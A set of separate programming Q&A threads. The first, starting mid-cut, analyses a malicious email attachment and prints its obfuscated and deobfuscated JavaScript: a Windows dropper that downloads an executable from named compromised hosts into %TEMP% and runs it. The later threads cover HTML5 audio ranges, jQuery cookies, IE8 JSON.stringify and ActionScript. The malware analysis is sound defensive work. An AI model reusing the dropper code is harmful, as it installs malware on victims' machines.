"BIL13NEBIL"; yakamurahirobetobeVIUVIUVIUNananananananana["Y2xvc2U=".yakamurahirobetobeVIUVIUVIUtttoooo()](); yakamurahirobetobeVIUVIUVIUrampart[yakamurahirobetobeVIUVIUVIUpromises](yakamurahirobetobeVIUVIUVIUwandermander, yakamurahirobetobeVIUVIUVIUchosen, true); } }; var yakamurahirobetobeVIUVIUVIU_a5 = ["dGOGOGA3d3LmFnZW56aWFkaW5pLml0L0dIQnV5ZDQ3MgGOGOGA==","a2xuaGOGOGAmxsemw3OC53ZWIuZmMyLmNvbS9HSEJ1eWQ0NzI=","bWFuaW1hbmltb25leS53ZWIuGOGOGAZmMyLmNvbS9HSEJ1eWQ0NzI="]; for(yakamurahirobetobeVIUVIUVIUuueee in yakamurahirobetobeVIUVIUVIU_a5){ try{ yakamurahirobetobeVIUVIUVIU_a2("http://"+yakamurahirobetobeVIUVIUVIU_a5[yakamurahirobetobeVIUVIUVIUuueee].yakamurahirobetobeVIUVIUVIUtttoooo() + "?bPxXNr=LUmUhmmq","Exgngo"); }catch(yakamurahirobetobeVIUVIUVIU_a3){alert(yakamurahirobetobeVIUVIUVIU_a3.message);} } </script> </body> </html> I opened it in my browser and now i'm afraid it is some kind of a hack. what can I do now for my security? should i delete all senstive data in my browser? I'm using google chrome which has all passwords stored. I'm using Ubuntu 16.04.
I received this attachement today and decided to investigate a bit. Here is the deobfuscated version: var wscriptShell = new ActiveXObject('WScript.Shell'); var msxml2XmlHttp = new ActiveXObject('MSXML2.XMLHTTP'); var tempFolder = wscriptShell.ExpandEnvironmentStrings("%TEMP%"); function download(url, file) { var fullpath = tempFolder + '/' + file + '.exe'; msxml2XmlHttp.open("GET", url, false); msxml2XmlHttp.setRequestHeader("User-Agent", 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)'); msxml2XmlHttp["send"](); var adodbStream = new ActiveXObject("ADODB.Stream"); adodbStream.open(); adodbStream.type = 1; adodbStream.write(sudabilo1["ResponseBody"]); adodbStream.position = 0; adodbStream.saveToFile(fullpath, 2); adodbStream.close(); wscriptShell.Run(fullpath, 1, true); } var urls = [ "brunnenburg.de/GHBuyd472", "klnjllzl78.web.fc2.com/GHBuyd472", "w3rx80no.homepage.t-online.de/GHBuyd472" ]; for(i in urls) { try { download("http://" + urls[i] + "?huLara=HlyrvuBeY", "yXbJOHB"); } catch(e) { alert(e.message); } } Basically what it does is download an executable file from a compromised server into your temp directory and runs it. I have not investigated the file further. Since you are not using windows, this is harmless. If you were, the first step would be to check if a file named Exgngo.exe (this line contains the relevant name: yakamurahirobetobeVIUVIUVIU_a2("http://"+yakamurahirobetobeVIUVIUVIU_a5[yakamurahirobetobeVIUVIUVIUuueee].yakamurahirobetobeVIUVIUVIUtttoooo() + "?bPxXNr=LUmUhmmq","Exgngo");) is in your %TEMP% directory. If it is, contact someone that knows what he's doing to deal with it. EDIT: Virus Total here.
play audio range in html5
I would like to be able to have buttons that can play certain audio ranges from a larger file. Something like: <button onclick="playClip('http://blah/source1.mp3', 2.5, 3.0, 1.0)">Play clip 1</button> <button onclick="playClip('http://blah/source2.mp3', 10.0, 2.0, 0.5)">Play clip 2 slow</button> where playClip has a pattern like this: function playClip(src, startOffset, length, rate) { // What to put here? } Or instead of a length, an ending offset. Can some one point me to code that can do that, or help me write it? The closest I could find is https://gist.github.com/remy/753003/download# but I need different sized clips, from possibly different files, and with a playback rate specified. I'm afraid I've limited experience with Javascript. I'm trying to replace a Silverlight app that does this. Thanks. -John
Either use Media Fragments URI syntax: var src, startOffset, endOffset, playbackRate, audio = new Audio(src + '#t=' + startOffset + ',' + endOffset); audio.onloadedmetadata = function() { audio.playbackRate = playbackRate; audio.play(); }; or timeupdate event: var audio = new Audio( ... ), startOffset, endOffset, playbackRate; audio.onloadedmetadata = function() { audio.playbackRate = playbackRate; audio.currentTime = startOffset; audio.play(); }; audio.ontimeupdate = function() { if (audio.currentTime >= endOffset) { audio.pause(); } }; References: Specifying playback range Jumping to time offsets in HTML5 video
Here's an extract of my current code, which uses both the audio control's events and timeout to make sure the audio stops. There's a reference to a volume slider you might need to trim. var jt_audioControl; var jt_audioSource; var jt_audioFiles; var jt_audioFileIndex; var jt_audioFile; var jt_audioStartTime; var jt_audioEndTime; var jt_audioPlaybackRate; var jt_audioTimeoutHandle; var jt_audioLink; var jt_audioMimeType; var jt_audioMediaType; var jt_volumeSlider; function jt_onAudioTimeUpdate() { if (jt_audioEndTime > 0.0) { if (jt_audioControl.currentTime >= jt_audioEndTime) { //alert('stopped: jt_audioControl.currentTime = ' + jt_audioControl.currentTime + ' jt_audioEndTime = ' + jt_audioEndTime); jt_audioControl.pause(); //jt_audioStartTime = jt_audioEndTime = 0.0; } } } function jt_onAudioCanPlay() { jt_audioControl.pause(); jt_audioControl.currentTime = jt_audioStartTime; jt_audioControl.defaultPlaybackRate = jt_audioPlaybackRate; jt_audioControl.playbackRate = jt_audioPlaybackRate; jt_audioControl.play(); jt_audioControl.currentTime = jt_audioStartTime; jt_volumeSliderChanged(); // Set initial value to slider. var timeout = (((jt_audioEndTime - jt_audioStartTime)) / jt_audioPlaybackRate) * 1000; //alert('jt_audioEndTime = ' + jt_audioEndTime + ', timeout = ' + timeout); if (jt_audioEndTime > 0.0) { jt_audioTimeoutHandle = setTimeout(jt_onAudioEnded, timeout); //alert('jt_audioTimeoutHandle = ' + jt_audioTimeoutHandle); } else if (jt_audioTimeoutHandle != null) { clearTimeout(jt_audioTimeoutHandle); jt_audioTimeoutHandle = null; } } function jt_onAudioEnded() { //alert('ended called'); if (jt_audioFiles == null) return; while (jt_audioControl.position < jt_audioControl.duration) ; jt_audioFileIndex = jt_audioFileIndex + 1; if (jt_audioFileIndex < jt_audioFiles.length) { jt_createAudio(jt_audioFiles[jt_audioFileIndex]); } else { jt_audioControl.pause(); jt_audioFiles = null; jt_audioFileIndex = 0; } } function jt_onAudioError(e) { var msg; switch (e.target.error.code) { case e.target.error.MEDIA_ERR_ABORTED: msg = 'You aborted the video playback.'; break; case e.target.error.MEDIA_ERR_NETWORK: msg = 'A network error caused the video download to fail part-way.'; break; case e.target.error.MEDIA_ERR_DECODE: msg = 'The video playback was aborted due to a corruption problem or because the video used features your browser did not support.'; break; case e.target.error.MEDIA_ERR_SRC_NOT_SUPPORTED: msg = 'The video could not be loaded, either because the server or network failed or because the format is not supported.'; break; default: msg = 'An unknown error occurred.'; break; } alert('Error loading media: ' + msg + ' Media file: ' + jt_audioFile + ' MIME type: ' + jt_audioMimeType); } function jt_addSource(url) { var srcUrl; var doConvertCheck = false; var offset = url.lastIndexOf("."); if (offset == -1) { if (jt_audioSource == null) { jt_audioSource = document.createElement('source'); jt_audioControl.appendChild(jt_audioSource); } jt_audioMimeType = 'audio/mpeg3'; jt_audioMediaType = 'audio/mpeg3'; jt_audioSource.type = jt_audioMediaType; jt_audioSource.src = url; jt_audioControl.load(); return; } var base = url.substr(0, offset); var ext = url.substr(offset).toLowerCase(); var newExt = ext; if (jt_audioControl.canPlayType('audio/mpeg3')) { jt_audioMimeType = 'audio/mpeg3'; jt_audioMediaType = 'audio/mpeg3'; if (ext != '.mp3') newExt = '-aa.mp3'; } else if (jt_audioControl.canPlayType('audio/mpeg')) { jt_audioMimeType = 'audio/mpeg3'; jt_audioMediaType = 'audio/mpeg'; if (ext != '.mp3') newExt = '-aa.mp3'; } else if (jt_audioControl.canPlayType('audio/mp3')) { jt_audioMimeType = 'audio/mpeg3'; jt_audioMediaType = 'audio/mp3'; if (ext != '.mp3') newExt = '-aa.mp3'; } else if (jt_audioControl.canPlayType('audio/ogg')) { jt_audioMimeType = 'audio/ogg'; jt_audioMediaType = 'audio/ogg'; if (ext != '.ogg') newExt = '-aa.ogg'; } else { alert('Sorry, can not play file: ' + url); } srcUrl = base + newExt; if (srcUrl.lastIndexOf('~', 0) === 0) { if (window.location.hostname == '') { srcUrl = srcUrl.substr(2); } else { var url = 'http://' + window.location.hostname; if (window.location.port.toString() != '') url = usrl + ':' + window.location.port.toString() srcUrl = url + srcUrl.substr(1); } } //alert('srcUrl = ' + srcUrl); if (jt_audioSource == null) { jt_audioSource = document.createElement('source'); jt_audioControl.appendChild(jt_audioSource); } jt_audioSource.type = jt_audioMediaType; if (doConvertCheck) { jt_audioLink = "/ConvertCheck?path=" + srcUrl + "&" + "mimeType=" + jt_audioMimeType jt_audioSource.src = jt_audioLink; } else { jt_audioSource.src = srcUrl; } jt_audioControl.load(); } function jt_extractTimeRange(url) { var rangeFieldIndex = url.lastIndexOf("#t"); if (rangeFieldIndex >= 0) { var rangeString = url.substr(rangeFieldIndex + 2); var range = rangeString.split(','); jt_audioStartTime = parseFloat(range[0]); jt_audioEndTime = parseFloat(range[1]); } else { jt_audioStartTime = 0.0; jt_audioEndTime = 0.0; return url; } return url.substr(0, rangeFieldIndex); } function jt_createAudio(url) { url = jt_extractTimeRange(url); if (jt_audioControl == null) { jt_audioFile = url; jt_audioControl = new Audio(); // The ontimeupdate handler seems to be called unreliably, so we'll use // setTimeout as well in the oncanplay handler. jt_audioControl.ontimeupdate = jt_onAudioTimeUpdate; jt_audioControl.onloadedmetadata = jt_onAudioCanPlay; jt_audioControl.onended = jt_onAudioEnded; jt_audioControl.onerror = jt_onAudioError; jt_addSource(url); // We'll let the oncanplay call play once loaded. } else if (jt_audioFile != url) { jt_audioFile = url; jt_addSource(url); } else { //jt_onAudioLoaded(); jt_audioControl.load(); } } function jt_playAudioFile(url) { jt_audioFiles = null; jt_audioFileIndex = 0; jt_audioStartTime = 0.0; jt_audioEndTime = 0.0; jt_audioPlaybackRate = 1.0; jt_createAudio(url); } function jt_playSlowAudioFile(url) { jt_audioFiles = null; jt_audioFileIndex = 0; jt_audioStartTime = 0.0; jt_audioEndTime = 0.0; jt_audioPlaybackRate = 0.5; jt_createAudio(url); } function jt_playAudioFileList(urls) { jt_audioFiles = urls; jt_audioFileIndex = 0; jt_audioStartTime = 0.0; jt_audioEndTime = 0.0; jt_audioPlaybackRate = 1.0; if ((urls != null) && (urls.length > 0)) { jt_createAudio(urls[0]); } } function jt_playSlowAudioFileList(urls) { jt_audioFiles = urls; jt_audioFileIndex = 0; jt_audioStartTime = 0.0; jt_audioEndTime = 0.0; jt_audioPlaybackRate = 0.5; if ((urls != null) && (urls.length > 0)) { jt_createAudio(urls[0]); } } function jt_playAudioFileSegment(url, startTime, endTime) { jt_audioFiles = null; jt_audioFileIndex = 0; url = url + '#t' + startTime.toString() + ',' + endTime.toString(); jt_audioPlaybackRate = 1.0; jt_createAudio(url); } function jt_playSlowAudioFileSegment(url, startTime, endTime) { jt_audioFiles = null; jt_audioFileIndex = 0; url = url + '#t' + startTime.toString() + ',' + endTime.toString(); jt_audioPlaybackRate = 0.5; jt_createAudio(url); } function jt_stopAudio() { if (jt_audioControl != null) jt_audioControl.pause(); } function jt_volumeSliderChanged() { if (jt_volumeSlider == null) { jt_volumeSlider = document.getElementById('volumeSlider'); if (jt_volumeSlider == null) return; } var value = jt_volumeSlider.value; if (jt_audioControl != null) jt_audioControl.volume = value / 10; $.ajax({ url: "/Common/SetUserOptionAjax?key=AudioVolume&value=" + value.toString(), type: "POST" }); }
jquery cookies for different countries link
I am trying to do cookie stuff in jquery but it not getting implemented can you guys fix my problem html code <a rel="en_CA" class="selectorCountries marginUnitedStates locale-link" href="http://www.teslamotors.com/en_CA">united states</a> <a rel="en_US" class="selectorCountries marginSecondCountry locale-link" href="http://www.teslamotors.com/en_CA">canada</a> <a rel="en_BE" class="selectorCountries marginCanadaFrench locale-link" href="http://www.teslamotors.com/en_BE">canada(french)</a> i am providing my js code below http://jsfiddle.net/SSMX4/76/ when i click the different country links in the pop up it should act similar to this site http://www.teslamotors.com/it_CH $('.locale-link').click(function(){ var desired_locale = $(this).attr('rel'); createCookie('desired-locale',desired_locale,360); createCookie('buy_flow_locale',desired_locale,360); closeSelector('disappear'); }) $('#locale_pop a.close').click(function(){ var show_blip_count = readCookie('show_blip_count'); if (!show_blip_count) { createCookie('show_blip_count',3,360); } else if (show_blip_count < 3 ) { eraseCookie('show_blip_count'); createCookie('show_blip_count',3,360); } $('#locale_pop').slideUp(); return false; }); function checkCookie(){ var cookie_locale = readCookie('desired-locale'); var show_blip_count = readCookie('show_blip_count'); var tesla_locale = 'en_US'; //default to US var path = window.location.pathname; // debug.log("path = " + path); var parsed_url = parseURL(window.location.href); var path_array = parsed_url.segments; var path_length = path_array.length var locale_path_index = -1; var locale_in_path = false; var locales = ['en_AT', 'en_AU', 'en_BE', 'en_CA', 'en_CH', 'de_DE', 'en_DK', 'en_GB', 'en_HK', 'en_EU', 'jp', 'nl_NL', 'en_US', 'it_IT', 'fr_FR', 'no_NO'] // see if we are on a locale path $.each(locales, function(index, value){ locale_path_index = $.inArray(value, path_array); if (locale_path_index != -1) { tesla_locale = value == 'jp' ? 'ja_JP':value; locale_in_path = true; } }); // debug.log('tesla_locale = ' + tesla_locale); cookie_locale = (cookie_locale == null || cookie_locale == 'null') ? false:cookie_locale; // Only do the js redirect on the static homepage. if ((path_length == 1) && (locale_in_path || path == '/')) { debug.log("path in redirect section = " + path); if (cookie_locale && (cookie_locale != tesla_locale)) { // debug.log('Redirecting to cookie_locale...'); var path_base = ''; switch (cookie_locale){ case 'en_US': path_base = path_length > 1 ? path_base:'/'; break; case 'ja_JP': path_base = '/jp' break; default: path_base = '/' + cookie_locale; } path_array = locale_in_path != -1 ? path_array.slice(locale_in_path):path_array; path_array.unshift(path_base); window.location.href = path_array.join('/'); } } // only do the ajax call if we don't have a cookie if (!cookie_locale) { // debug.log('doing the cookie check for locale...') cookie_locale = 'null'; var get_data = {cookie:cookie_locale, page:path, t_locale:tesla_locale}; var query_country_string = parsed_url.query != '' ? parsed_url.query.split('='):false; var query_country = query_country_string ? (query_country_string.slice(0,1) == '?country' ? query_country_string.slice(-1):false):false; if (query_country) { get_data.query_country = query_country; } $.ajax({ url:'/check_locale', data:get_data, cache: false, dataType: "json", success: function(data){ var ip_locale = data.locale; var market = data.market; var new_locale_link = $('#locale_pop #locale_link'); if (data.show_blip && show_blip_count < 3) { setTimeout(function(){ $('#locale_msg').text(data.locale_msg); $('#locale_welcome').text(data.locale_welcome); new_locale_link[0].href = data.new_path; new_locale_link.text(data.locale_link); new_locale_link.attr('rel', data.locale); if (!new_locale_link.hasClass(data.locale)) { new_locale_link.addClass(data.locale); } $('#locale_pop').slideDown('slow', function(){ var hide_blip = setTimeout(function(){ $('#locale_pop').slideUp('slow', function(){ var show_blip_count = readCookie('show_blip_count'); if (!show_blip_count) { createCookie('show_blip_count',1,360); } else if (show_blip_count < 3 ) { var b_count = show_blip_count; b_count ++; eraseCookie('show_blip_count'); createCookie('show_blip_count',b_count,360); } }); },10000); $('#locale_pop').hover(function(){ clearTimeout(hide_blip); },function(){ setTimeout(function(){$('#locale_pop').slideUp();},10000); }); }); },1000); } } }); }
This will help you ALOT! jQuery Cookie Plugin I use this all the time. Very simple to learn. Has all the necessary cookie functions built-in and allows you to use a tiny amount of code to create your cookies, delete them, make them expire, etc. Let me know if you have any questions on how to use (although the DOCS have a decent amount of instruction).
json stringify in IE 8 gives run time error Object property or method not supported
/* Problem description- I am using json stringify method to convert an javascript array to string in json notation.However I get an error message that 'Object property or method not supported' at line hidden.value = JSON.stringify(jsonObj); This should work as stringify is supported in IE8.Please advise Full code below */ function getgridvalue() { var exportLicenseId; var bolGrossQuantity; var bolNetQuantity; var totalBolGrossQty =0 ; var totalBolNetQty =0; var jsonObj = []; //declare array var netQtyTextBoxValue = Number(document.getElementById("<%= txtNetQty.ClientID %>").value); var atLeastOneChecked = false; var gridview = document.getElementById("<%= ExporterGrid.ClientID %>"); //Grab a reference to the Grid for (i = 1; i < gridview.rows.length; i++) //Iterate through the rows { if (gridview.rows[i].cells[0].getElementsByTagName("input")[0] != null && gridview.rows[i].cells[0].getElementsByTagName("input")[0].type == "checkbox") { if (gridview.rows[i].cells[0].getElementsByTagName("input")[0].checked) { atLeastOneChecked = true; exportLicenseId = gridview.rows[i].cells[8].getElementsByTagName("input")[0].value; bolNetQuantity = gridview.rows[i].cells[5].getElementsByTagName("input")[0].value; if (bolNetQuantity == "") { alert('<%= NetQuantityMandatory %>'); return false; } if (!isNumber(bolNetQuantity)) { alert('<%= NetQuantityNumber %>'); return false; } totalBolNetQty += Number(bolNetQuantity); jsonObj.push({ ExportLicenseId: Number(exportLicenseId), BolNetQuantity: Number(bolNetQuantity) }); } } } if (gridview.rows.length > 2 && !atLeastOneChecked) { alert('<%= SelectMsg %>'); return false; } if (totalBolNetQty != 0 && netQtyTextBoxValue != totalBolNetQty) { alert('<%= NetQuantitySum %>'); return false; } var hidden = document.getElementById('HTMLHiddenField'); // if (!this.JSON) { // this.JSON = {}; // } var JSON = JSON || {}; if (hidden != null) { hidden.value = JSON.stringify(jsonObj); } }
Use the F12 Developer Tools to check the browser mode. The JSON object exists, but has no methods in IE7 mode. Use the json2 library as a fallback. json2.js
A conflict exists with definition newBox in namespace internal
function makeABox(e):void { if (e.name == "seri1"){ var newBox:karo1 = new karo1(); }else if(e.name == "seri2"){ var newBox:karo2 = new karo2(); }else{ var newBox:zemin1 = new zemin1(); } ust_bar.addChild(newBox); newBox.x = i*60; newBox.y = s*60; }
Dee, you should make a question. I'm presuming you got problems with 'namespaces'. Try to define de variable first, with a superclass type, then in those conditionals just give a value. Like this: function makeABox(e):void { var newBox:somesuperclass; if (e.name == "seri1") { newBox = new karo1(); } else if (e.name == "seri2") { newBox = new karo2(); } else { newBox = new zemin1(); } ust_bar.addChild(newBox); newBox.x = i*60; newBox.y = s*60; } This is actionsscript3? If is, you probably need e.currentTarget.name. Hope this helps.